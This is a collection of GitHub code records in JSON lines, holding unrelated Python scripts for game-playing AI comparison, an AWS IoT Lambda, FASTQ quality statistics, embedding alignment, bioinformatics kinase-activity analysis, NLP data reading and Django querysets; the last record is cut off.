else:\n nbDraw += 1\n moyenneJ1.append(nbWinJ1/float(nbWinJ1+nbWinJ2+nbDraw))\n moyenneJ2.append(nbWinJ2/float(nbWinJ1+nbWinJ2+nbDraw))\n print(nbWinJ1,nbWinJ2,nbDraw)\n\n\nplt.plot(range(NB_PARTIES), moyenneJ1,label =\"Esperance de UCB\") # GRAPHE POUR UCB ET ALEATOIRE\nplt.plot(range(NB_PARTIES), moyenneJ2,label =\"Esperance de Alea\") # GRAPHE POUR UCB ET ALEATOIRE\n\nplt.legend()\nplt.title(\"Comparaison du joueur UCB et aleatoire\")\n\nplt.show()\n\n\"\"\"\n\n## On teste UCT ET MONTE CARLO A VALEURS EGALES\n\nJ1 = JoueurUCBTree(3)\n\nJ2 = JoueurMonteCarlo(10)\n\nnbWinJ1 = 0\nnbWinJ2 = 0\nnbDraw = 0\n\nmoyenneJ1 = []\nmoyenneJ2 = []\n\nfor i in range(NB_PARTIES):\n plate = MorpionState()\n game = Jeu(plate,J1,J2)\n result = game.run(False)[0]\n if(result == 1) :\n nbWinJ1 += 1\n elif (result == -1):\n nbWinJ2 += 1\n else:\n nbDraw += 1\n moyenneJ1.append(nbWinJ1/float(nbWinJ1+nbWinJ2+nbDraw))\n moyenneJ2.append(nbWinJ2/float(nbWinJ1+nbWinJ2+nbDraw))\n print(nbWinJ1,nbWinJ2,nbDraw)\n\n\nplt.plot(range(NB_PARTIES), moyenneJ1,label =\"Esperance de UCB(3)\") # GRAPHE POUR UCB ET ALEATOIRE\nplt.plot(range(NB_PARTIES), moyenneJ2,label =\"Esperance de Monte-Carlo(10)\") # GRAPHE POUR UCB ET ALEATOIRE\n\nplt.legend()\nplt.show()\n","repo_name":"AlamHenri/Exploration-Exploitation","sub_path":"morpioncharm.py","file_name":"morpioncharm.py","file_ext":"py","file_size_in_byte":15364,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39289664846","text":"import json\nimport boto3\nimport math\n\nprint('Loading function')\n\n\ndef lambda_handler(event, context):\n print(\"Received event: \" + json.dumps(event, indent=2))\n client = boto3.client('iot-data', region_name='us-east-1')\n\n if \"x\" in event and \"y\" in event and \"z\" in event:\n x = float(event[\"x\"])\n y = float(event[\"y\"])\n z = float(event[\"z\"])\n module = math.sqrt(math.pow(x, 2) + math.pow(x, 2) + math.pow(x, 2))\n if module > 2:\n state = \"RUNNING\"\n elif module > 0.5:\n state = \"WALKING\"\n else:\n state = \"STANDING\"\n event[\"state\"] = state\n\n print(event)\n\n # Change topic, qos and payload\n response = client.publish(\n topic='stations/mobile_sensor_states',\n qos=1,\n payload=json.dumps(event)\n )\n return response\n","repo_name":"duiliol/iot_exam","sub_path":"aws/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25127097298","text":"#!/usr/bin/env python\n\nimport sys, gzip\nfrom math import pow\nimport Script\n\ndef decode(q):\n return ord(q) - 33\n\nclass Stats(object):\n filename = \"\"\n nreads = 0\n nbases = 0 # Total bases seen\n sumqual = 0 # Sum of qualities (for average)\n minqual = 100 # Minumum quality seen\n maxqual = 0 # Maximum quality seen\n minreadqual = 100 # Minimum per-read quality seen\n maxreadqual = 0 # Maximum per-read quality seen\n\n def __init__(self, filename):\n self.filename = filename\n\n def add(self, quals):\n if not quals:\n return\n nb = 0 # number of bases in this read\n sq = 0 # sum of qualities in this read\n\n self.nreads += 1\n for q in quals:\n qv = decode(q)\n self.nbases += 1\n self.sumqual += qv\n self.minqual = min(self.minqual, qv)\n self.maxqual = max(self.maxqual, qv)\n nb += 1\n sq += qv\n readqual = 1.0 * sq / nb\n self.minreadqual = min(self.minreadqual, readqual)\n self.maxreadqual = max(self.maxreadqual, readqual)\n\n def report(self, out=sys.stdout):\n avgqual = 1.0 * self.sumqual / self.nbases\n err_rate = pow(10, -avgqual/10.0)\n out.write(\"== {} ==\\n\".format(self.filename))\n out.write(\"Number of reads: {}\\n\".format(self.nreads))\n out.write(\"Number of bases: {}\\n\".format(self.nbases))\n out.write(\"Average read length: {:.3f}\\n\".format(1.0 * self.nbases / self.nreads))\n out.write(\"Overall average quality: {:.3f}\\n\".format(avgqual))\n out.write(\"Quality range: {} - {}\\n\".format(self.minqual, self.maxqual))\n out.write(\"Per-read quality range: {} - {}\\n\".format(self.minreadqual, self.maxreadqual))\n out.write(\"Average error rate: {}\\n\".format(err_rate))\n out.write(\"Expected number of errors: {:.2f}\\n\\n\".format(self.nbases * err_rate))\n out.flush()\n\n def reportCSV(self, out):\n avgqual = 1.0 * self.sumqual / self.nbases\n err_rate = pow(10, -avgqual/10.0)\n out.write(\"{}\\t{}\\t{}\\t{:.3f}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{:.2f}\\n\".format(\n self.filename, self.nreads, self.nbases, 1.0 * self.nbases / self.nreads, avgqual,\n self.minqual, self.maxqual, self.minreadqual, self.maxreadqual, err_rate,\n self.nbases * err_rate))\n out.flush()\n\ndef collect(fastqfile, maxreads=0, T=None):\n nr = 0\n S = Stats(fastqfile)\n with gzip.open(fastqfile, \"rt\") as f:\n while True:\n try:\n read = f.readline()\n if not read:\n break\n read = f.readline()\n read = f.readline()\n quals = f.readline().strip(\"\\r\\n\")\n S.add(quals)\n if T:\n T.add(quals)\n nr += 1\n if nr == maxreads:\n break\n except KeyboardInterrupt:\n break\n return S\n# S.report()\n\nclass Main(Script.Script):\n outfile = \"\"\n maxreads = 0\n fastqfiles = []\n\n def run(self, args):\n self.standardOpts(args)\n self.parseArgs(args, \"+n,+o\")\n self.outfile = self.getOpt(\"o\")\n self.maxreads = int(self.getOpt(\"n\", 0))\n self.fastqfiles = self.getArgs()\n\n if self.fastqfiles:\n T = None\n q = []\n\n if self.outfile:\n if self.outfile == \"-\":\n self.outfile = \"/dev/stdout\"\n out = open(self.outfile, \"w\")\n out.write(\"#Filename\\tNumber of reads\\tNumber of bases\\tAvg read length\\tOverall avg qual\\tMin qual\\tMax qual\\tMin readqual\\tMax readqual\\tError rate\\tExpected errors\\n\")\n mode = \"csv\"\n else:\n out = sys.stdout\n mode = \"txt\"\n\n try:\n if len(self.fastqfiles) > 1:\n T = Stats(\"Total\")\n\n for fq in self.fastqfiles:\n S = collect(fq, maxreads=self.maxreads, T=T)\n if mode == \"csv\":\n S.reportCSV(out)\n else:\n S.report(out)\n if T:\n if mode == \"csv\":\n T.reportCSV(out)\n else:\n T.report(out)\n finally:\n out.close()\n\n else:\n usage()\n\ndef usage(what):\n sys.stdout.write(\"\"\"qualcheck.py - Compute quality stats on fastq files.\n\nUsage: qualcheck.py [options] fastqfiles...\n\nOptions:\n\n -n N | Examine the first N reads\n -o O | Write results in tab-delimited format to file O\n\nThis program reads one or more fastq files, printing out the following information for each:\n\n Number of reads\n Number of bases\n Average read length\n Overall average quality\n Range of quality scores\n Per-read quality range\n Average error rate\n Expected number of errors\n\n\"Per-read quality\" is the average quality score over the whole read.\n\"Average error rate\" is the probability of error corresponding to the\noverall average quality Q (= 10^(-Q/10)).\n\nProcessing can be interrupted with Ctrl-C, and the program will print\nthe statistics computed up to that point.\n\n\"\"\")\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n M = Main(\"qualcheck.py\", version=\"1.0\", usage=usage)\n M.run(args)\n","repo_name":"uf-icbr-bioinformatics/bioscripts","sub_path":"qualcheck.py","file_name":"qualcheck.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"73207000428","text":"\nfrom sample_dict import get_dict\n\nimport json\nimport numpy as np\nfrom sklearn.neighbors import NearestNeighbors\n\n# number of iterations\nnum_iter = 100\n\n# vo: vocab, mat: matrix\n# d: dictionary in the format described in the paper\nd, vo_x, vo_z, mat_x, mat_z = get_dict()\n\n\ndef test_print_map(d):\n for index, ls in enumerate(d):\n print(vo_x[index])\n mapping = ls.index(1)\n print(vo_z[mapping])\n print(\"-------------------\")\n\n\nembedding_size = 100\n\n# nvx= number of items in vocab of language x\nnvx = len(vo_x)\nnvz = len(vo_z)\n\n# convert the embedding matrices to numpy arrays\nx = np.array(mat_x)\nz = np.array(mat_z)\n\n# randomly initialize weights\nwx = np.random.rand(1, embedding_size)\nwz = np.random.rand(1, embedding_size)\n\nfor i in range(num_iter):\n\n print(\"Iteration \" + str(i))\n\n # get optimal wx and wz\n m = (x.T.dot(d)).dot(z)\n wx2, s, wz2_t = np.linalg.svd(m)\n wx = wx.dot(wx2)\n wz = wz.dot(wz2_t.T)\n\n # reweigh the word vectors\n for i in range(x.shape[0]):\n x[i] = x[i].dot(wx.T)\n for j in range(z.shape[0]):\n z[j] = z[j].dot(wz.T)\n\n # get nearest neighbour of each element in matrix x\n nbrs = NearestNeighbors(n_neighbors=1).fit(z)\n nns = nbrs.kneighbors(x, 1, return_distance=False)\n\n # recalculate dictionary\n d = [[0 for i in range(nvz)] for j in range(nvx)]\n\n for i in range(nvx):\n nn = nns[i]\n d[i][nn[0]] = 1\n\n# save mappings as a list of tuples\nlmap = []\nfor index, ls in enumerate(d):\n a = vo_x[index].encode(\"utf-8\")\n mapping = ls.index(1)\n b = vo_z[mapping].encode(\"utf-8\")\n lmap.append((a, b))\n\nwith open(\"mappings.json\", \"w+\") as f:\n data = json.dumps(lmap)\n f.write(data)\n\n\n","repo_name":"AdLucem/multilingual-word-embeddings","sub_path":"unsupervised/self_learning/self_learning_loop.py","file_name":"self_learning_loop.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28823014725","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 13 20:44:23 2023\r\n\r\n@author: LENOVO\r\n\"\"\"\r\n\r\nfrom sklearn.metrics import pairwise_distances\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.manifold import MDS \r\nfrom sklearn.cluster import KMeans\r\nimport matplotlib.pyplot as plt\r\nimport projet_lib\r\n\r\nPSF = load_image(\"PSFs.tif\")\r\n(K,N,_) = PSF.shape\r\n\r\n# get random subset of digits data\r\nnp.random.seed(0)\r\nPSF_vector = np.array(PSF).reshape(K, N*N)\r\nsample = np.random.permutation(PSF_vector)[:500]\r\nlabels = get_k_means_labels(sample)\r\nfig = plt.figure(figsize=plt.figaspect(0.5))\r\nD = pairwise_distances(sample)\r\n\r\n# set up the axes for the first plot\r\nax = fig.add_subplot(1, 2, 1)\r\n# plot results of MDS\r\nX = ClassicalMDS(pairwise_distances(sample), 18)\r\nplt.scatter(X[:, 0], X[:, 1], c=labels, cmap=plt.cm.get_cmap('jet', 8))\r\nplt.title('Classical MDS')\r\n\r\n# set up the axes for the second plot\r\nax = fig.add_subplot(1, 2, 2)\r\nclf = PCA(n_components=2)\r\nX_pca = clf.fit_transform(sample)\r\nax.scatter(X_pca[:, 0], X_pca[:, 1], c=labels, cmap=plt.cm.get_cmap('jet', 8))\r\nplt.title('PCA');\r\nplt.savefig(\"img_MDS_PCA.png\")\r\n\r\n#MDS from the sklearn.manifold library\r\nplt.figure(figsize=plt.figaspect(0.5))\r\nmodel = MDS(n_components=2)\r\nproj = model.fit_transform(sample)\r\nplt.scatter(proj[:,0], proj[:,1], c=labels)\r\nplt.title('MDS from manifold library');\r\nplt.savefig(\"img_MDS_from_manifold_lib.png\")\r\n\r\nimages = np.array(sample).reshape(500,N,N)\r\nplot_components(proj, model=model, images=images,\r\n thumb_frac=0.3)\r\n","repo_name":"meomaiyeu123/Apprentissage-de-vari-t-pour-mieux-appr-hender-le-microscope","sub_path":"Code_miparcours/MDF_image.py","file_name":"MDF_image.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39711720374","text":"import traceback\n\nimport requests\n\nimport bot_logger\nfrom config import url_get_value\n\n\ndef get_coin_value(balance, currency=None, format=2):\n str_format = str(\"{0:.\" + str(format) + \"f}\")\n\n if not balance > 0:\n return float(0.0)\n\n try:\n jc_currency = requests.get(url_get_value['cryptonator']).json()\n coin_val = xpath_get(jc_currency, \"/ticker/price\")\n except:\n try:\n jc_currency = requests.get(url_get_value['coincap']).json()\n coin_val = xpath_get(jc_currency, \"/usdPrice\")\n except:\n try:\n jc_currency = requests.get(url_get_value['cryptocompare']).json()\n coin_val = xpath_get(jc_currency, \"/Data/O/Price\")\n except:\n traceback.print_exc()\n return 0\n\n bot_logger.logger.info('value is $%s' % str(coin_val))\n usd_currency = float(str_format.format(int(balance) * float(coin_val)))\n return usd_currency\n\n\ndef check_amount_valid(amount):\n try:\n if (float(amount)) >= 1:\n # print('such amount : '+str(amount))\n return True\n else:\n return False\n except (UnicodeEncodeError, ValueError):\n return False\n\n\ndef xpath_get(mydict, path):\n elem = mydict\n try:\n for x in path.strip(\"/\").split(\"/\"):\n try:\n x = int(x)\n elem = elem[x]\n except ValueError:\n elem = elem.get(x)\n except:\n pass\n\n return elem\n\n\ndef mark_msg_read(reddit, msg):\n unread_messages = [msg]\n reddit.inbox.mark_read(unread_messages)\n","repo_name":"just-an-dev/sodogetip","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"37"} +{"seq_id":"42905796881","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 6 19:29:05 2019\n\n@author: raghav\n\"\"\"\n\nfrom typing import Dict, List, Tuple\nimport logging\nimport os\nfrom overrides import overrides\n# NLTK is so performance orientated (ha ha) that they have lazy imports. Why? Who knows.\nfrom nltk.corpus.reader.bracket_parse import BracketParseCorpusReader # pylint: disable=no-name-in-module\nfrom nltk.tree import Tree\nfrom allennlp.common.file_utils import cached_path\nfrom allennlp.data.dataset_readers.dataset_reader import DatasetReader\nfrom allennlp.data.fields import TextField, SequenceLabelField, Field\nfrom allennlp.data.instance import Instance\nfrom allennlp.data.token_indexers import TokenIndexer, SingleIdTokenIndexer\nfrom allennlp.data.tokenizers import Token\nfrom allennlp.common.checks import ConfigurationError\n\n\nlogger = logging.getLogger(__name__) # pylint: disable=invalid-name\n\n@DatasetReader.register(\"pos_reader_test\")\nclass PosReaderTest(DatasetReader):\n def __init__(self,\n token_indexers: Dict[str, TokenIndexer] = None,\n use_pos_tags: bool = True,\n lazy: bool = False,\n label_namespace: str = \"pos_labels\") -> None:\n super().__init__(lazy=lazy)\n self._token_indexers = token_indexers or {'tokens': SingleIdTokenIndexer()}\n self._use_pos_tags = use_pos_tags\n self._label_namespace = label_namespace\n\n @overrides\n def _read(self, file_path):\n # if `file_path` is a URL, redirect to the cache\n file_path = cached_path(file_path)\n files = []\n for r, d, f in os.walk(file_path):\n for file in f:\n if '.tree' in file:\n files.append(os.path.join(r, file))\n \n for f in files:\n directory, filename = os.path.split(f)\n logger.info(\"Reading instances from lines in file at: %s\", file_path)\n for parse in BracketParseCorpusReader(root=directory, fileids=[filename]).parsed_sents():\n\n self._strip_functional_tags(parse)\n # This is un-needed and clutters the label space.\n # All the trees also contain a root S node.\n if parse.label() == \"VROOT\" or parse.label() == \"TOP\":\n parse = parse[0]\n pos_tags = [x[1] for x in parse.pos()] if self._use_pos_tags else None\n yield self.text_to_instance(parse.leaves(), pos_tags)\n\n @overrides\n def text_to_instance(self, # type: ignore\n tokens: List[str],\n pos_tags: List[str] = None) -> Instance:\n\n # pylint: disable=arguments-differ\n text_field = TextField([Token(x) for x in tokens], token_indexers=self._token_indexers)\n fields: Dict[str, Field] = {\"tokens\": text_field}\n\n if self._use_pos_tags and pos_tags is not None:\n pos_tag_field = SequenceLabelField(labels=pos_tags, sequence_field=text_field,\n label_namespace=self._label_namespace)\n fields[\"tags\"] = pos_tag_field\n elif self._use_pos_tags:\n raise ConfigurationError(\"use_pos_tags was set to True but no gold pos\"\n \" tags were passed to the dataset reader.\")\n return Instance(fields)\n\n def _strip_functional_tags(self, tree: Tree) -> None:\n clean_label = tree.label().split(\"=\")[0].split(\"-\")[0].split(\"|\")[0]\n tree.set_label(clean_label)\n for child in tree:\n if not isinstance(child[0], str):\n self._strip_functional_tags(child)\n\n def _get_gold_spans(self, # pylint: disable=arguments-differ\n tree: Tree,\n index: int,\n typed_spans: Dict[Tuple[int, int], str]) -> int:\n # NLTK leaves are strings.\n if isinstance(tree[0], str):\n end = index + len(tree)\n else:\n # otherwise, the tree has children.\n child_start = index\n for child in tree:\n # typed_spans is being updated inplace.\n end = self._get_gold_spans(child, child_start, typed_spans)\n child_start = end\n span = (index, end - 1)\n current_span_label = typed_spans.get(span)\n if current_span_label is None:\n typed_spans[span] = tree.label()\n else:\n typed_spans[span] = tree.label() + \"-\" + current_span_label\n\n return end","repo_name":"rtandon86/multi-task-learning","sub_path":"setup/dataset_reader/pos_reader_test.py","file_name":"pos_reader_test.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25424969070","text":"from django.conf.urls import include ,url\nfrom django.contrib.auth.decorators import login_required\nfrom . import views\napp_name = 'productos'\nurlpatterns = [\n url(r'^$', views.IndexView, name='index'),\n url(r'salidas/historial/$', login_required(views.SalidasView),name='index-salidas'),\n url(r'entradas/historial/$',login_required(views.EntradasView),name='index-entradas'),\n url(r'producto/(?P[0-9]+)/$', views.DetailView.as_view(), name='detail'),\n url(r'nuevo/$', login_required(views.ProductCreate.as_view()), name=\"product-add\"), \n url(r'producto/actualizar/(?P[0-9]+)/$' , login_required(views.ProductUpdate.as_view()), name=\"product-update\"), \n url(r'producto/(?P[0-9]+)/eliminar/$' , login_required(views.ProductDelete.as_view()), name=\"product-delete\"),\n]","repo_name":"victorhugojmz/barbershop","sub_path":"productos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15419879816","text":"#!/usr/bin/env python3\n#%%\nimport pandas as pd\nimport scipy.stats as stats\nimport pickle\nfrom os import path\nimport os\nimport argparse\n\nfrom concurrent.futures import ProcessPoolExecutor\nfrom multiprocessing import Pool\nfrom multiprocessing import cpu_count\nfrom itertools import repeat\n\nimport helpers\nimport config\nimport summarize_activities\n\nlogger = helpers.get_logger(\"hypergeometric\", \"hypergeometric.log\")\n\ndef chunk_data_columns(data_columns, chunk_size):\n \"\"\"Yields chunks of data columns to use in hypergeometric activity\n\n Args:\n data_columns (list): list of data columns that are being processed\n chunk_size (int): size of each chunk\n\n Yields:\n list: list of lists of data column chunks\n \"\"\"\n for i in range(0, len(data_columns), chunk_size):\n yield data_columns[i:i + chunk_size]\n\ndef calculate_hypergeometric_activities(evidence, data_columns, network_directory, max_cpus, chunk_size, network_size):\n \"\"\"Calculates the hypergeometric activity of evidence for all data columns on all networks\n\n Args:\n evidence (pandas DataFrame): binary evidence of phosphorylation\n data_columns (string): data columns in evidence to use in calculating hypergeometric activity\n network_directory (string): network directory of all site-kinase networks\n max_cpus (int): number of cpus to use in multiprocessing\n chunk_size (int): chunk size to break data columns into - save memory in multiprocessing\n network_size (int): size of network, if <=0 then network size calculated based on number of accession sites in network\n\n Returns:\n pandas DataFrame: hypergeometric activites list\n \"\"\"\n logger.info(\"Calculating hypergeometric activities on all experiments\")\n network_files = []\n\n for file in os.listdir(network_directory):\n if file.endswith(\".tsv\"):\n network_files.append(file )\n \n activities_list = []\n if max_cpus > 1:\n chunked_data_columns = chunk_data_columns(data_columns, chunk_size)\n\n with ProcessPoolExecutor(max_workers=max_cpus) as executor:\n for chunk in chunked_data_columns:\n chunked_evidence = evidence[[config.KSTAR_ACCESSION, config.KSTAR_SITE] + chunk]\n chunked_evidence = chunked_evidence[(chunked_evidence == 1).any(axis=1)].copy()\n\n for single_network_activity in executor.map(calculate_hypergeometric_activities_single_network, repeat(chunked_evidence), repeat(chunk), repeat(network_directory), network_files, repeat(network_size)):\n activities_list = activities_list + single_network_activity\n else:\n for network_file in network_files:\n single_network_activity = calculate_hypergeometric_activities_single_network(evidence, data_columns, network_directory, network_file)\n activities_list = activities_list + single_network_activity\n\n\n \n # zipped_arguments = zip(repeat(evidence), repeat(data_columns), repeat(network_directory), network_files)\n # activities_list = pool.starmap(calculate_hypergeometric_activities_single_network, zipped_arguments)\n\n\n activities_list = pd.concat(activities_list)\n return activities_list\n\ndef calculate_hypergeometric_activities_single_network(evidence, data_columns, network_directory, network_file, network_size):\n \"\"\"Calculates the hypergeometric activity of all data columns of a single network after loading the network file\n\n Args:\n evidence (pandas DataFrame): binary evidence of phosphorylation\n data_columns (list): data columns to calculate hypergeometric activity on\n network_directory (string): directory of network file\n network_file (string): filename of network\n network_size (int): size of network, if <=0 then network size calculated based on number of accession sites in network\n\n Returns:\n pandas DataFrame: hypergeometric activity list\n \"\"\"\n network = pd.read_table(os.path.join(network_directory, network_file))\n if network_size <= 0:\n network_size = len(network.groupby([config.KSTAR_ACCESSION, config.KSTAR_SITE]).size())\n\n # intersect = pd.merge(network, evidence, how='inner',\n # on=[config.KSTAR_ACCESSION, config.KSTAR_SITE])\n\n activities_list =[]\n for col in data_columns:\n filtered_evidence = evidence[evidence[col] == 1][[config.KSTAR_ACCESSION, config.KSTAR_SITE, col]]\n activity = calculate_hypergeometric_activities_single_data_column_single_network(filtered_evidence, network, network_size )\n activity['data'] = col\n activity['network'] = network_file\n activity = activity.reset_index()\n activities_list.append(activity)\n\n return activities_list\n\ndef calculate_hypergeometric_activities_single_data_column_single_network(evidence, network, network_size):\n \"\"\"\n Hypergeometric Cumulative Distribution Function calculated for each kinase given evidence\n k : number of times kinase seen in evidence\n M : number of unique sites in network\n n : number of times kinase seen in network\n N : size of evidence\n \n Args:\n evidence (pandas df): subset of kstar evidence that has been filtered to only include evidence associated with experiment\n network (pandas df): network to use for analysis\n network_size (int): size of network, if <=0 then network size calculated based on number of accession sites in network\n \n Returns:\n pandas DataFrame: Hypergeometric results of evidence for given network\n index : kinase_id\n columns\n frequency : number of times kinase seen in network\n kinase_activity : activity derived from hypergometric cdf \n \"\"\"\n intersect = pd.merge(network, evidence, how='inner',\n on=[config.KSTAR_ACCESSION, config.KSTAR_SITE])\n counts = intersect.groupby(config.KSTAR_KINASE).size()\n N = len(intersect.groupby([config.KSTAR_ACCESSION, config.KSTAR_SITE]).size())\n results = pd.DataFrame(counts, columns = ['frequency'])\n\n results['kinase_activity'] = 1.0\n\n K = network.groupby(config.KSTAR_KINASE).size()\n \n kinases = counts.index\n for kin in kinases:\n k = 0\n if counts.loc[kin] > 0:\n k = counts.loc[kin] - 1\n prb = stats.hypergeom.sf(\n k = int(k), \n M = int(network_size), \n n = int(K.loc[kin]), \n N = int(N)\n )\n results.at[kin, 'kinase_activity'] = prb\n\n kinases = network[config.KSTAR_KINASE].unique()\n for kin in kinases:\n if kin not in results.index:\n results.at[kin,'frequency'] = 0\n results.at[kin,'kinase_activity'] = 1.0\n return results\n \ndef aggregate_activities(activities):\n \"\"\"\n Aggregate network activity using median for all activities\n\n Args:\n activities (pandas DataFrame): activity list from hypergeometric activity calculations\n \n Returns:\n pandas DataFrame : activities aggregated to calculate median p-value over all networks for each data column and kinase\n \"\"\"\n \n agg_activities = activities.groupby(['data', config.KSTAR_KINASE ]).agg(\n median_activity = ('kinase_activity', 'median'),\n ).reset_index()\n return agg_activities\n\ndef run_kstar_analysis(experiment, network_directory, phospho_type, data_columns, max_cpus, chunk_size, network_size):\n \"\"\"Runs the kstar hypergeometric analysis including aggregating and summarizing results\n\n Args:\n experiment (pandas DataFrame): experiment to use for analysis\n network_directory (string): directory of networks\n phospho_type (string): {Y,ST}\n data_columns (list): data columns to use in analysis\n max_cpus (int): number of cpus to use in parallelization\n chunk_size (int): chunk size to use to reduce memory\n network_size (int): size of network, if <=0 then network size calculated based on number of accession sites in network\n\n Raises:\n TypeError: raised if phospho type is not correct. Phospho typee must be Y or ST\n\n Returns:\n activities_list (pandas DataFrame): activities list of all data columns\n agg_activities (pandas DataFrame): aggregate median activites\n activites (pandas DataFrame): transformed median activities. columns : data columns, index : kinase\n \"\"\"\n\n \n if phospho_type == 'ST':\n experiment_sub = experiment[(experiment.KSTAR_SITE.str.contains('S')) | (experiment.KSTAR_SITE.str.contains('T'))]\n logger.info(\"Running Serine/Threonine Kinase Activity Analysis\")\n elif phospho_type == 'Y':\n experiment_sub = experiment[(experiment.KSTAR_SITE.str.contains('Y'))]\n logger.info(\"Running Tyrosine Kinase Activity Analysis\")\n\n else:\n logger.error(f\"ERROR: Did not recognize phosphoType {phospho_type}, which should only include 'Y' or 'ST'\")\n raise TypeError(f\"ERROR: Did not recognize phosphoType {phospho_type}, which should only include 'Y' or 'ST'\") \n \n activities_list = calculate_hypergeometric_activities(experiment_sub, data_columns, network_directory, max_cpus, chunk_size, network_size)\n\n agg_activities = aggregate_activities(activities_list)\n activities = summarize_activities.summarize_activities(agg_activities, 'median_activity')\n return activities_list, agg_activities, activities\n\ndef save_kstar_results(activities_list, agg_activities, activities, name):\n \"\"\"Saves results of hypergeometric activity calculations\n\n Args:\n activities_list (pandas DataFrame): activities list of all data columns\n agg_activities (pandas DataFrame): aggregate median activites\n activites (pandas DataFrame): transformed median activities. columns : data columns, index : kinase\n name (string): name of experiment\n \"\"\"\n activities_list.to_csv(f\"{name}_activities_list.tsv\", sep = '\\t', index=False)\n agg_activities.to_csv(f\"{name}_aggregated_activities.tsv\", sep = '\\t', index = False)\n activities.to_csv(f\"{name}_activities.tsv\", sep = '\\t', index = True)\n\ndef main():\n \"\"\"Reads in parser arguments, loads experiment, and runs analysis\n \"\"\"\n parser = argparse.ArgumentParser(description='Parse KSTAR Activity Arguments')\n parser.add_argument('--exp_file', '--experiment_file', action='store', dest= 'exp_file', help='Experiment file location. csv or tsv file', required=True)\n parser.add_argument(\"--net_dir\",\"--network_directory\", action='store', dest= 'network_directory', help='Network directory of individual networks', required=True)\n parser.add_argument('--pevent','--phosphorylation_events', action = 'store', dest='pevent', help ='phosphorylation event type', choices=['Y','ST'], default='Y')\n parser.add_argument('--name', action = 'store', dest='name', help = 'experiment name', default='Experiment')\n parser.add_argument('--cols', '--data_columns', action='store', dest='data_columns', help = 'data_columns to use', nargs='*', default=None)\n parser.add_argument(\"--max_cpus\", action=\"store\", dest=\"max_cpus\", default=1, type=int)\n parser.add_argument(\"--chunk_size\", action=\"store\", dest=\"chunk_size\", default=5, type=int)\n parser.add_argument(\"--network_size\", action=\"store\", dest=\"network_size\", default=-1, type=int)\n results = parser.parse_args()\n\n # pool = Pool(results.max_cpus)\n\n if path.exists(results.exp_file) and path.isfile(results.exp_file):\n filetype = results.exp_file.split('.')[-1]\n if filetype == 'csv':\n experiment = pd.read_csv(results.exp_file)\n elif filetype == 'tsv':\n experiment = pd.read_csv(results.exp_file, sep = '\\t')\n else:\n logger.error(\"Unrecognized experiment filetype. Please use a csv or tsv file\")\n exit()\n else:\n logger.error(\"Please provide a valid experiment file\")\n exit()\n \n data_columns = helpers.set_data_columns(experiment, results.data_columns)\n\n # networks = pickle.load(open(results.networks, \"rb\"))\n \n activities_list, agg_activities, activities = run_kstar_analysis(experiment, results.network_directory, results.pevent, data_columns, results.max_cpus, results.chunk_size, results.network_size)\n \n save_kstar_results(activities_list, agg_activities, activities, results.name)\n\n\n\n\n#%%\n \nif __name__ == \"__main__\":\n main()\n\n","repo_name":"NaegleLab/KSTAR","sub_path":"nextflow/src/hypergeometric_activity_binary.py","file_name":"hypergeometric_activity_binary.py","file_ext":"py","file_size_in_byte":12382,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"35739897808","text":"products = input(\"Please enter three products, each product separated by a comma \")\n\nproducts_list = products.split(\",\") # splits string into a list with ',' as separator\nprice_list = [] # initialises list\n\nfor item in products_list:\n price = input(f\"Please enter the price (in pounds) for {item} \")\n price_stripped = int(price.strip(\"£\"))\n price_list.append(price_stripped)\n\ntotal_cost = sum(price_list)\naverage_cost = total_cost/len(price_list)\n\nprint(f\"The Total of {products_list[0]},{products_list[1]} and{products_list[2]} is £{total_cost} \"\n f\"and the average price of the items is £{round(average_cost,3)}\")\n\n\n\n\n","repo_name":"LaraDodd/HyperionDev","sub_path":"shopping.py","file_name":"shopping.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5011877075","text":"import itertools, json \n\nfrom django.db import models\nfrom django.utils import six\n\nclass JSONAwareQuerySet(models.query.QuerySet):\n def __init__(self, json_fields=[], *args, **kwargs):\n self.json_fields = json_fields\n super(JSONAwareQuerySet, self).__init__(*args, **kwargs)\n\n def _filter_or_exclude(self, negate, *args, **kwargs):\n extra_lookups = {}\n\n for lookup in kwargs:\n if lookup.split('__')[0] in self.json_fields:\n try:\n lookupval = lookup.split('__')[1]\n except: \n continue \n if lookupval in [\"exact\", \"iexact\", \"in\", \"isnull\", \"contains\", \"icontains\"]:\n continue \n extra_lookups[lookup] = kwargs[lookup]\n\n for key in extra_lookups:\n kwargs.pop(key)\n\n clone = super(JSONAwareQuerySet, self)._filter_or_exclude(negate, *args, **kwargs)\n\n if extra_lookups.keys():\n # self.json_lookups = True \n len(clone)# Fill the cache\n\n # Lista de trabajo recorrida reversa para eliminar los no requeridos \n resultlist = list( clone ) \n\n # for item in itertools.product(self, extra_lookups.keys()):\n for i in range(len(resultlist)-1, -1, -1): \n item = resultlist[ i ]\n for 